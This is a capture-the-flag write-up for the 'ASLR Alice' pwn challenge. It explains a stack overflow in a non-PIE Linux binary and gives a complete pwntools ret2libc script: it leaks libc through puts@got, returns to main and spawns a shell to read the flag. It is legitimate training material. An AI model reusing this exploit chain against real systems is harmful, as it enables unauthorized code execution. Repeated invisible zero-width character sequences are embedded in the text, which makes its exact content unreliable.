← Back to Writeups
CUSTOMMediumpwn

ASLR Alice

XESXOR9/2/20264 min read
#pwn#custom#medium#movaps_alignment_fix#puts_got_leak#ret2libc#return_to_main#rop_chain#stack_buffer_overflow#linux

ASLR Alice

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: movaps_alignment_fix, puts_got_leak, ret2libc, return_to_main, rop_chain, stack_buffer_overflow

Summary

Task: NON-PIE, NX, no-canary x86-64 ALICE chat service with a stack buffer overflow (read 0x78 bytes into a 0x20 buffer, RET offset 0x28). Solution: two-stage ret2libc in one connection — leak puts via puts@got+return-to-main, then call system("/bin/sh") with an extra ret for movaps alignment.

ASLR Alice — pwn_spbctf

Description

AI //ALICE// devs shared early-version sketches; "pwn Alice". (pwn6 "Добор", tier ASLR, "alice-beta". Author Lex / @b1n4r9.)

An "ALICE" chat service is given as alice.elf together with libc-2.31.so. Remote: nc 109.233.56.90 11702. The goal is to pop a shell and read the flag.

Analysis

checksec / static analysis of alice.elf:

  • NON-PIE (base 0x400000), NX, Partial RELRO, NO stack canary, not stripped.

main @ 0x4012c2 logic:

  1. A name buffer at [rbp-0x20] (default "unknown"), printed via printf("%s > ", name). Because the format string is literally "%s", this is not a format-string bug.
  2. scanf("%d", &choice); if choice > 8 → exit. Otherwise a message read: write(1, messages(0x4040c0)+(choice-1)*64, 64) — only an upper bound is checked and choice is signed, so a small OOB read is possible (not needed for the solve).
  3. After prompts/sleeps, read(0, buf=[rbp-0x20], 0x78) reads 0x78 = 120 bytes into the 0x20 buffer → stack buffer overflow. Distance from buf to saved RET is 0x20 (buf) + 0x8 (saved rbp) = 0x28 (40 bytes).
  4. __auto_destroy() zeroes r12/r13, then ret. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

NON-PIE + no canary + provided libc-2.31.so ⇒ classic ret2libc. ASLR randomises libc, so we need a runtime libc leak first. There is ~16 qwords of ROP space after the 0x28 offset.

Useful fixed (non-PIE) addresses:

SymbolAddress
pop rdi ; ret0x40157b
ret (alignment)0x401016
puts@plt0x401050
puts@got0x404028
main0x4012c2

Provided libc is Debian glibc 2.31 (md5 74f2d3062180572fc8bcd964b587eeae): puts=0x766b0, system=0x48f20, /bin/sh=0x18a156. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Two ROP stages over a single connection:

Stage 1 — leak libc, return to main. pop rdi; rdi=puts@got; puts@plt; main. puts(puts@got) prints the runtime address of puts in libc, then control returns into main so we get a second overflow. libc_base = leaked_puts - 0x766b0.

Stage 2 — shell. ret; pop rdi; rdi=&/bin/sh; system. The leading ret realigns the stack to 16 bytes so the movaps inside system/do_system does not fault. This yields system("/bin/sh").

Key pitfalls encountered: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Don't hardcode the libc high bytes. On this infra libc maps in the 0x74xx region, not the usual 0x7f.... Parse the full 6-byte leaked address (validate it against a wide range like 0x550000000000–0x7fffffffffff).
  • movaps alignment. Without the extra ret, system crashes on a movaps with a misaligned stack.
  • Patient recv. main sleep()s between prompts; anchor recvuntil on the "unknown > " prompt and the ====== banner separator, with generous timeouts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flow per main iteration: banner → "unknown > " (name printf) → scanf %d → message write(64) → dots/sleeps → second "unknown > " → overflow read. Send choice=1 to reach the overflow cleanly.

python
#!/usr/bin/env python3
from pwn import *
import time

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11702

e    = ELF('alice.elf', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)

puts_plt = e.plt['puts']        # 0x401050
puts_got = e.got['puts']        # 0x404028
main     = e.symbols['main']    # 0x4012c2
pop_rdi  = 0x40157b             # pop rdi ; ret
ret      = 0x401016             # ret (alignment)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

libc_puts   = libc.symbols['puts']            # 0x766b0
libc_system = libc.symbols['system']          # 0x48f20
libc_binsh  = next(libc.search(b'/bin/sh\x00'))  # 0x18a156

OFF = 0x28  # buf(0x20) + saved rbp(8)

def reach_overflow(io, choice=b'1'):
    io.recvuntil(b'unknown > ')   # name printf before scanf
    io.sendline(choice)
    io.recvuntil(b'unknown > ')   # second name printf before read()

io = remote(HOST, PORT)

# ---- STAGE 1: leak libc via puts(puts@got), return to main ----
reach_overflow(io, b'1')
rop1  = b'A' * OFF
rop1 += p64(pop_rdi) + p64(puts_got)
rop1 += p64(puts_plt)
rop1 += p64(main)
io.send(rop1.ljust(0x78, b'\x00'))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = io.recvuntil(b'======', timeout=20)   # main banner restarts with ======
leak = None
idx = data.rfind(b'\n======')
if idx >= 6:
    cand = data[idx-6:idx]
    v = u64(cand.ljust(8, b'\x00'))
    if 0x550000000000 <= v <= 0x7fffffffffff:
        leak = v
assert leak, 'no leak parsed'

libc_base = leak - libc_puts
log.success('puts leak = %#x' % leak)
log.success('libc base = %#x' % libc_base)   # remote: 0x74xx region!
system = libc_base + libc_system
binsh  = libc_base + libc_binsh

# ---- STAGE 2: ret2libc system("/bin/sh") ----
io.recvuntil(b'unknown > ')
io.sendline(b'1')
io.recvuntil(b'unknown > ')
rop2  = b'A' * OFF
rop2 += p64(ret)                  # movaps alignment
rop2 += p64(pop_rdi) + p64(binsh)
rop2 += p64(system)
io.send(rop2.ljust(0x78, b'\x00'))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(1)
io.clean(timeout=3)
io.sendline(b'cat /flag.txt; id')
print(io.recvrepeat(4).decode(errors='replace'))
io.interactive()

Running it pops a shell (uid = man) and cat /flag.txt returns the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍